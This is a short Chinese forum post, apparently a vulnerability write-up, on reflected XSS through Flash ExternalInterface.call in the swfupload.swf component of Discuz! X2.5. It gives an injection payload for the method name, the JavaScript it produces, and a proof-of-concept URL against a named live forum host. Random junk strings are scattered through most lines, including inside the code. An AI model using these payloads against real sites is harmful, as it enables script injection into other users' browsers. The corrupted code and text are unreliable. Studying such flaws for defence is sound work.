上回我们说
+ |) m5 |1 N& f6 |4 Z; F( @/ o: `
5 G w7 H/ ]4 e1 l2 A6 M! r* Vflash.external.ExternalInterface.call($methodName, $parameter)
( i0 y) E7 | h) a# e在浏览器中执行的是4 P1 I/ O2 ~* s* ~
3 {* e( f4 [1 @5 o4 itry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
2 D' ?( R3 H& r$ p r* r7 ]9 g1 o# y9 X对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如9 F0 b9 t0 Y7 {4 g+ `$ q
" r q! q. J" h: A8 ?" o* ?9 \1 Wflash.external.ExternalInterface.call("object."+$methodName, $parameter)8 V# W6 I4 V8 P4 S( Z& i, g
$methodName = a())}catch(e){alert(/xss/)}//: o6 {% L; K [* b" U6 u& B1 P
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。7 Q: D% z" x/ I5 g/ @
: q, `' }; P+ Y# i* r1 c5 e, c
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }( v2 e1 ^% g. K& r" V) x! B* L
6 j# l% L. S: Q! _/ A这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
- t3 Z, k1 ]5 `0 T! j/ ~! ^5 L杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
$ l. ]) D3 {; N+ ^4 j
7 c" q# h% c1 l# B: A3 l2 T
( Y1 H3 `5 ~1 i& A% l+ V
1 X# a; [! q2 ]! N( H( X' u漏洞文件:upload\static\image\common\swfupload.swf
) C1 \5 t+ n4 {; x( {5 ~9 a8 z: _7 T3 @# ^1 S
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
3 p* ~4 `7 Z9 {5 K$ T; \% d8 O6 u: U% Y+ A+ `$ O. N9 K7 y+ e
* D4 x ^. A* N2 d6 b8 A
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
3 f0 ?& p0 v+ q- f' b
% M# s: {: e2 j) e
. v1 h+ n. ]% k/ N9 E4 _6 ~ |